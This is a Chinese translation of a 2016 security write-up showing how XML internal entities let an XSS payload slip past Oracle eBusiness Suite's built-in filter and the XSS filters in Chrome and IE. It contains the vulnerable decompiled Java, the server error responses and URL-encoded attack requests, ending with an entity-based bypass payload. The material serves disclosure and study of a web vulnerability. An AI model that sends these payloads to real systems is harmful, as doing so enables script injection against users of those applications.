【技术分享】使用XML内部实体绕过Chrome和IE的XSS过滤
作者:admin | 时间:2016-10-22 09:52:19 | 分类:黑客技术 隐藏侧边栏展开侧边栏
简介
假如你要让Web应用在后台执行某些XML处理任务的话,那么你将很有可能受到XSS攻击(跨站脚本攻击)。我之所以会这样说,是因为安全研究人员发现,攻击者现在可以使用XML内部实体来绕过目前常见浏览器的XSS过滤器,受影响的浏览器包括Chrome、IE、以及Safari在内。当然了,这种攻击手段对火狐浏览器也同样能够奏效,但很明显火狐浏览器中并不存在XSS过滤器。
安全客小百科:XSS攻击
跨站脚本攻击(XSS)是一种经常出现在Web应用中的计算机安全漏洞,它允许Web攻击者将恶意代码植入到提供给其它用户使用的页面中,比如说HTML代码和客户端脚本等。对于跨站脚本攻击,黑客界的共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript则是一种新型的“ShellCode”。
XML实体
所谓XML实体,实际上就是一些内容占位符。它不仅可以用于内容转义,而且还可以代表一些重复的、无法通过键盘输入的、或者与XML 规范保留字相冲突的字符数据。从这一点来看,它有些似类于 C# 中的转义字符。
由此可以看出,XML实体的作用主要有以下几点:
1. 代替无法输入的字符。键盘只有26个字母和一些简单的标点符号,而字符集中有很多符号是无法通过键盘直接输入的,此时就使用实体来代替。
2. 代替一些与XML规范保留字相冲突的内容,如:“<”、“>”等。
3. 代替大段的重复文本。
绕过常见浏览器的XSS过滤器
Oracle的“eBusiness Suite”电子商务套件其v12.x以及之前版本的BneApplicationService Servlet中存在一个跨站脚本漏洞。当时,安全研究专家正在尝试寻找外部XML实体处理过程中存在的安全漏洞,但是却意外发现了这个跨站脚本漏洞。
如果我们在浏览器中发送下面这段请求:
1
|
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=XXX
|
那么我们将会得到如下所示的响应信息:
1
2
3
4
|
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException -
oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.
Log File Bookmark: 392699
|
于是,我们修改了请求,然后将其封装在了一个XML标签内:
1
|
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3CFOO%3EXXXXX%3C/FOO%3E
|
现在,我们所得到的响应信息如下所示:
1
2
3
4
|
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException - java.lang.ClassCastException:
oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElement
Log File Bookmark: 602808
|
所以接下来,我们就要尝试弄清楚相关类文件在底层到底是如何处理这些请求的。在对源代码进行了审查之后,我们在createBodyBneStyle方法中发现了下列信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML);
XMLElement localXMLElement1 =
(XMLElement)localXMLDocument.getDocumentElement();
NodeList localNodeList = localXMLElement1.getChildNodes();
for (int i = 0; i < localNodeList.getLength(); i++)
{
String str1 = "";
String str2 = "";
String str3 = "";
String str4 = null;
String str5 = null;
Node localNode = null;
XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i);
NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes();
localNode = localNamedNodeMap.getNamedItem("bne:type");
if (localNode != null) {
str1 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:text");
if (localNode != null) {
str2 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:value");
if (localNode != null) {
str3 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:cause");
if (localNode != null) {
str4 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem("bne:action");
if (localNode != null) {
str5 = localNode.getNodeValue();
}
if ((!str1.equalsIgnoreCase("DATA")) && (str2 != ""))
{
localStringBuffer.append("<p><b>" + str2 + "</b></p>");
localStringBuffer.append("<p>" + str4 + "</p>");
|
我们可以从上面这段源码中看到,如果我们将"bne:text"设置成除"data"之外的任意字符串那么它和"bne:cause"的值将会从浏览器直接输出。这样一来,我们就可以创建一个查询字符串,而且这条查询语句不会导致XML解析发生错误。查询请求如下所示:
1
|
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3C
|
我们可以看到,这种方法可以轻易地帮助攻击者实现一次跨站脚本攻击。接下来,让我们来进行一些简单的尝试。我们将发送“<IMG SRC=/x onerror=(1)>”,看看会发生什么事情。请求链接如下:
1
|
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%3CIMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
|
我们所获取到的响应信息如下:
1
2
3
4
|
Reserved program word <message><bne:a xmlns:bne="foo" bne:text="ABCDEF"
bne:cause="<I ... detected.
Press the Back button and remove the reserved program word. Contact your system administrator if the
value cannot be changed.
|
好的,从我们所获取到的信息来看,BneApplicationService中内置有一个XSS过滤器,而这个XSS过滤器就是我们需要绕过的东西。还记得文中一开始提到的吗?我们此前曾尝试寻找XML外部实体(XXE)的处理漏洞。虽然失败了,但是在分析的过程中,我突然产生了使用内部XML实体来绕过XSS过滤器的想法。这也就意味着,我们可以将攻击代码拆分成大量的占位符,之后在情况允许的情况下再将代码进行重组,这样就可以对我们的攻击行为进行伪装,以此来躲避安全防护系统的检测。首先,让我们在请求链接中去掉“<IMG SRC=/x onerror=(1)>”中的第一个尖扣号“<”,看看会发生什么事情。请求如下:
1
|
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
|
好的,一切都在我们的预料之中。那么接下来,为了绕过BneApplicationService的内置过滤器,我们只需要使用一个XML内部实体来处理那个“缺失”的尖扣号即可。为此,我们添加了一个名为“xxx”的XML内部实体,然后将尖括号“<”分配给它。代码如下所示:
1
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx"<">]>
|
此时的请求链接如下:
1
|
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=BneMsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%5D%3E%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;IMG%20SRC=/x%20onerror=(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
|
我们的“alert(1)”并没有得到执行,但这也是意料之中的事情,因为Chrome的XSS过滤器已经检测到了我们的这次攻击:
绕过Chrome的XSS过滤器
那么现在,我们就要想办法来绕过Chrome的XSS过滤器。当然了,我们依然可以使用XML内部实体来完成这个任务。我们为IMG和SRC的onerror事件创建了实体对象,虽然Web服务器端的XML解析器会对我们的信息进行编译处理,但是Chrome浏览器端并不会将其视作一次XSS攻击。我们所构建的请求如下:
1
|
|
实验结果如上图所示。
我们的测试环境如下:
-火狐浏览器(版本号47)
-Chrome浏览器(版本号51)
-IE 11浏览器
-Safari 9.1.1
本文由 安全客 翻译
原文链接:http://www.davidlitchfield.com/BypassingXSSFiltersusingXMLInternalEntities.pdf